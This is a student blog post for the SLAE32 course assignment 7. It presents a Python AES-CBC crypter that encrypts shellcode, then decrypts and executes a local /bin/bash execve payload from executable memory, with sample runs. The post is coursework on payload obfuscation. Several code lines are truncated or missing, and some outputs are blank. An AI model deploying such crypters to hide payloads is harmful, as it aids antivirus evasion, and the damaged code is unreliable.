SLAE32 - Assignment 7

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: PA-15072

All associated code can be found here:


For this assignment, students are tasked with creating a custom shellcode crypter.

  • Create a custom crypter like the one shown in the "crypters" video
  • Free to use any existing encryption schema
  • Can use any programming language
Task 7 was... interesting. By far the most time spent headbanging (to metal and against metal), while also sporting the biggest facepalm.

My original plan did end up being the outcome, although it took a detour and ended up at the same result. For this task I decided to go the AES CBC route-- it's a common and easily implemented encryption scheme. Using this article, I was able to come up with a PoC encryption / decryption script pretty quickly. I even fixed the padding issue before it even became a problem. By 'fixed' I mean 'anticipated', which is awesome! That was a big confidence boost overall, as it cemented some of the lesser practiced skills. The encryption and decryption took very little time, but the script itself was pretty lame-- the shellcode was hardcoded within it, it didn't spit things out in cool formats and there was a single argument, just for the key.

Not liking boring things, I spent the next while (read: loooong time) fighting with the way python3 handles \x90 hex notation from the CLI. Storing a \x notated hex byte as a, well... byte, that's stored in a variable with the type() of 'string' is a lot harder than I anticipated. I got it figured out with some help eventually, but alas the problems continued. Once I had my fiftieth cheeky encoding fix, I felt like I was pretty much done. I found some of the common techniques for executing shellcode from python and... none of them worked. It took a while to figure out what was happening. Mostly because the scripts did, sorta nothing at all once they got to the 'executing shellcode' part. That was a bummer. 

I suspected memory protections might be at play, as my original shellcodes matched my encrypted / decrypted ones. I found a comment that alluded to modern python versions putting the values used in ctype into areas of memory that CAN'T be munprotected, so I moved back from my Kali 2020 box to an older ubuntu VM. Installed the script's prerequisites and ran it in python 2.7. 

And obviously, it worked. 

I was relieved, but also a little frustrated. The lack of output from the script when running in kali was a little annoying-- I'm not sure how to ascertain the root cause, so it's just more to look into. Honestly, I'm still pretty stoked on the script-- it's overall utility is pretty neat and I learned a lot about the process involved, I probably learned the most about python3 encodings though :shrug

The below is written in python3 and does a lot of stuff that's just not really necessary in py2.7. Everything works in 2.7 and everything BUT the execution works in python 3 on Kali 2020.

#!/usr/bin/env python
# AES Shellcode Encrypter / Decrypter
# For SLAE32
# Howard McGreehan

from Crypto.Cipher import AES
import ctypes
import mmap
import sys, os, argparse, base64

parser = argparse.ArgumentParser()
parser.add_argument("-s", "--shellcode", help="Shellcode in \\x90 format", type=str, required=True)
parser.add_argument("-k", "--key", help="The AES key", type=str, required=True)
parser.add_argument("-d", help="Base64'd, AES CBC encrypted shellcode", action="store_true")
parser.add_argument("-e", help="Encrypt shellcode with AES CBC", action="store_true")
args = parser.parse_args()

# First check the args
if len(sys.argv) < 3:
    print("[!] Not enough arguments, exiting.")

# Check the shellcode length and pad it if necessary
def padShellcode(shellcode):
    pl = 16 - (len(shellcode) % 16)
    if (pl >= 1 or pl != 16):
        print("[!] Shellcode is %s bytes, %s bytes of padding are needed for AES CBC encryption" % (len(shellcode), pl))
        paddedShellcode = bytearray(b'\x90' * pl + shellcode)
        print("[+] Shellcode is a multiple of 16, no padding is required! Length: %s" % len(shellcode))
    return paddedShellcode

def encrypt(key, data):
    iv = os.urandom(16)
    aes =, AES.MODE_CBC, iv)
    return iv + aes.encrypt(bytes(data))

def decrypt(key, cipherText):
    iv = cipherText[:AES.block_size]
    aes =, AES.MODE_CBC, iv)
    decoded = aes.decrypt(cipherText)
    return decoded[AES.block_size:]

def normalize(s):
    normalized = ""
    for byte in bytearray(s):
         normalized += '\\x%02x' % (byte)
    return normalized

def py3ShellcodeFix(s):
    # get the string and split on the \x characters
    code = s.split('\\x')
    # remove any blank strings that may appear (you might also be able to get away with just doing code[1:] instead)
    code = list(filter(lambda x: x != '', code))
    # for each base 16 "character", convert it into a list of integers, then convert all that into a bytearray
    return bytearray([int(x, 16) for x in code])

# Will NOT work in python3 / newer machines
def runShellcode(shellcode):
    # Allocate memory with a RWX private anonymous mmap
    exec_mem = mmap.mmap(-1, len(shellcode),
                         prot = mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC,
                         flags = mmap.MAP_ANONYMOUS | mmap.MAP_PRIVATE)
    # Copy shellcode from bytes object to executable memory

    # Cast the memory to a C function object
    ctypes_buffer = ctypes.c_int.from_buffer(exec_mem)
    function = ctypes.CFUNCTYPE( ctypes.c_int64 )(ctypes.addressof(ctypes_buffer))
    function._avoid_gc_for_mmap = exec_mem

    # Return pointer to shell code function in executable memory
    return function

if args.e:    
    shellcode = py3ShellcodeFix(args.shellcode)
    paddedShellcode = padShellcode(shellcode)
    encryptedShellcode = encrypt(args.key, paddedShellcode)
    n = normalize(encryptedShellcode)
    print("[+] Encrypted shellcode (raw):\n%s\n" % encryptedShellcode)
    print("[+] Encrypted shellcode (\\x):\n%s\n" % n)
    print("[+] Encrypted shellcode (base64):\n%s\n" % base64.b64encode(encryptedShellcode))

if args.d:
    shellcode = py3ShellcodeFix(args.shellcode)
    decrypted = decrypt(args.key, bytes(shellcode))
    n = normalize(decrypted)
    print("[+] Decrypted shellcode (raw):\n%s\n" % decrypted)
    print("[+] Decrypted shellcode (\\x):\n%s" % n)
    print("[*] Executing shellcode...")
Here's a sample run when encrypting shellcode from the command line:
tester@ubuntu-slae32:~/Desktop$ python -s "\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" -e -k testtesttesttest
[!] Shellcode is 30 bytes, 2 bytes of padding are needed for AES CBC encryption
[+] Encrypted shellcode (raw):
�E�Q��`�K���ܟe�ZK(��8t�ИY���e}�W���N �j�75b>

[+] Encrypted shellcode (\x):

[+] Encrypted shellcode (base64):
Here's decrypting and executing the encrypted shellcode:
tester@ubuntu-slae32:~/Desktop$ python -s "\xe2\xb0\x08\x45\xd6\x51\x99\xbe\x60\xeb\x4b\xb2\xa7\x82\xdc\x9f\x65\x9d\x5a\x4b\x28\xff\xa8\x38\x74\xe5\xd0\x98\x59\x88\xee\xe4\x65\x7d\x86\x57\x8a\xa2\x85\x4e\x20\x95\x6a\xbf\x37\x35\x62\x3e" -d -k testtesttesttest
[+] Decrypted shellcode (raw):

[+] Decrypted shellcode (\x):
[*] Executing shellcode...
tester@ubuntu-slae32:/home/tester/Desktop$ id
uid=1000(tester) gid=1000(tester) groups=1000(tester),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
tester@ubuntu-slae32:/home/tester/Desktop$ exit
This was by far my favorite assignment. It built on all the previous things we've learned during the course, as well as forced me to learn some more python, which I'm grateful for.

Anyway, that's it for assignment seven and the SLAE32 course!

Popular posts from this blog

06 - How to maybe not be so bad at fuzzing, Part 2

07 - Just Another OSCE Review

02x01 - How to maybe not be as bad at fuzzing unknown binary protocols as you were before reading this